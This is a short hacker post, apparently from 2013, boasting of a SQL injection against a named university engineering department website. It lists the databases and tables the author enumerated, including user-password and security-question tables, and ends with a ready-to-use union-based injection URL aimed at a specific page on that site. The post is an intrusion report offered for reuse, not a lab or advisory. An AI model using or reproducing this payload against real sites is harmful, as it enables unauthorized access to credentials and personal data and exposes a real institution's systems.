ece.miami.edu sql injection / QuisterTow

/*
Target : ece.miami.edu [Electrical and computer engineering]
Author : QuisterTow     /     twitter.com/quistertow
Hour : 19:53
Date : 5 march 2013
*/
============================
Databases [+]
 bme
 cascm
 coediag
 db406973105
 db_transfer
 directory
 donors
 eaborgserver
 eaborgusers
 ece
 engineering_faculty -------[current database]
 engineering_research
 excel
 information_schema
 mysql
 preg_test
 registration
 test
 wordpress-coe
=============================
Tables[+] from engineering_faculty

Blank
BlankIds
PBMPRB
PBMPRBC
PBMPRM
PJRJAERCP
PJRJAERJA
POWPAP
monthrep
repmonth
search
tb_department
tb_employee_type
tb_experience
tb_experience_details
tb_faculty
tb_faculty_education
tb_faculty_experience
tb_faculty_goals
tb_faculty_intr
tb_faculty_professional
tb_faculty_publication
tb_faculty_security_question
tb_faculty_service
tb_faculty_teaching
tb_faculty_wsycv
tb_higher_education
tb_interest_link
tb_month
tb_permission
tb_professional
tb_professional_details
tb_publication
tb_publication_details
tb_security_question
tb_service
tb_staff
tb_teaching
tb_teaching_details
tb_user_and_passw
test
usersdata
view_faculty_publication
============================

/* Tables union based sintax */
 http://ece.miami.edu/people/indextest.php?id=113 and 1=2 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables  where table_schema=database()-- -

That's all

    QuisterTow.